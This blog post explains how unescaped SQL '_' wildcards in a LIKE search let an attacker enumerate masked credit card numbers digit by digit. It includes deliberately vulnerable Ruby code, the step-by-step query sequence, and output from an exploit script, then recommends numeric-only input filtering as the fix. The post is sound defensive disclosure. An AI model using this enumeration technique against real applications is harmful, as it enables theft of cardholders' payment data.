I found a neat vulnerability the other day, and I thought I’d write about it here. It’s actually an issue I’ve found before, and known about for at least 10 years, but for some reason I can’t find much discussion about it on the Internet. Since in my reports I want to provide references to additional resources so a customer can research and best understand the recommendations I make, I was disappointed not to find a good writeup of the issues you can encounter when you don’t filter all SQL wildcards.

Specifically, this blog post is about the underscore (“_”). Almost everyone is familiar with the “%” wildcard, which represents any arbitrary sequence of characters in a “like” query. Slightly less well-known is the “_” wildcard, which represents a single character. For example, if we have a table in a database that has my name in it, we could search for something like this:

SELECT * FROM HACKERS WHERE NAME LIKE "J_sh"

Even if you’re using parameterized queries, it may still be possible for a user to submit wildcards, and the results can be significant, depending on the particulars. OWASP discusses some query timing issues that can be an interesting DoS in OWASP-DS-001. That’s important if you care about availability; but there’s also a potential impact to confidentiality.

Say, for example, that your application stores and processes credit card numbers. You have carefully ensured that when card data is displayed, it is always shown masked, so that a user can’t harvest the numbers. It’ll usually look something like this:

Masked PANs

It might be necessary at times to be able to search for a credit card number. But that’s OK, because if someone’s going to search for it, then they already know the number, right? As long as we don’t let someone search for partial numbers, then we shouldn’t have any issues. Consider a code snippet something like this:

get '/search/card/:pan' do
  if params[:pan].length == 16
    rows = $db.execute("select * from cards where pan like ?", [params[:pan]])
    content = list_customers(rows)
    $header + content + $footer
  else
    $header + "<h2>ERROR: must search for full card number!</h2>" + $footer
  end
end

In here we check to make sure that the user has submitted a full 16 digit number, and we aren’t using “%” wildcards around our like query, so this should only return the rows where the card number matches. In case you’re not a Ruby afficianado, here’s the query (the “?” gets replaced with the submitted value):

SELECT * FROM CARDS WHERE PAN LIKE ?

This is where underscores become suddenly important. For example, suppose the credit card number is 4111111111111111. We can search for something like this, and it will still return the correct result:

SELECT * FROM CARDS WHERE PAN LIKE "411111111111111_"

This is enough to extract all of the card numbers from the database, with enough queries. We can search for a card number that consists of all “_” characters except one digit. With successive queries, we can determine the value of each digit in the number. Here’s an example:

SELECT * FROM CARDS WHERE PAN LIKE "0_______________" -> 0 rows
SELECT * FROM CARDS WHERE PAN LIKE "1_______________" -> 0 rows
SELECT * FROM CARDS WHERE PAN LIKE "2_______________" -> 0 rows
SELECT * FROM CARDS WHERE PAN LIKE "3_______________" -> 0 rows
SELECT * FROM CARDS WHERE PAN LIKE "4_______________" -> 1 row
SELECT * FROM CARDS WHERE PAN LIKE "40______________" -> 0 rows
SELECT * FROM CARDS WHERE PAN LIKE "41______________" -> 1 row
SELECT * FROM CARDS WHERE PAN LIKE "410_____________" -> 0 rows
. . .

And so on. By submitting “_” characters, we satisfy the requirements of the SQL query, and can evaluate the responses to brute-force the entire credit card number. For all 16 digits, this happens in an average of 80 requests. If this is a web application, this happens in a matter of seconds.

For kicks, I put together a sample application that is vulnerable in this way (the code snippet from above comes from this example). It can be a fun exercise to write an exploit that mines all the card data from the application. You can get the sample application here, and an example exploit script here. Here’s an example run:

:) josh@atlantis-desktop $ ruby exploit.rb http://localhost:4567/ admin admin 4013

------------------------------------------------------------------------
 CDE Buster - Brute Force PANs with '_' Wildcards - Josh Stone (C) 2015
------------------------------------------------------------------------

  [-] Brute forcing PANs with prefix '4013'
  [+] 4013066436049272 -> 000001,Mary,Walker,4013********9272
  [+] 4013095262568113 -> 000016,Robert,Lopez,4013********8113
  [+] 4013142736227502 -> 000010,Thomas,Harris,4013********7502
  . . .
  [+] 4013973448854765 -> 000024,Richard,Thomas,4013********4765
  [+] 4013988348405260 -> 000011,Margaret,Robinson,4013********5260
  [+] 4013994852743575 -> 000022,Robert,Hall,4013********3575
  [-] Enumerated 25 PANs in 1830 requests

:) josh@atlantis-desktop $

The solution is better input filtering. Since these are credit card numbers, there should be a filter that ensures that all the characters are numeric. Minimally, you could just intentionally remove or escape “_” characters or throw an error message if they appear in the input.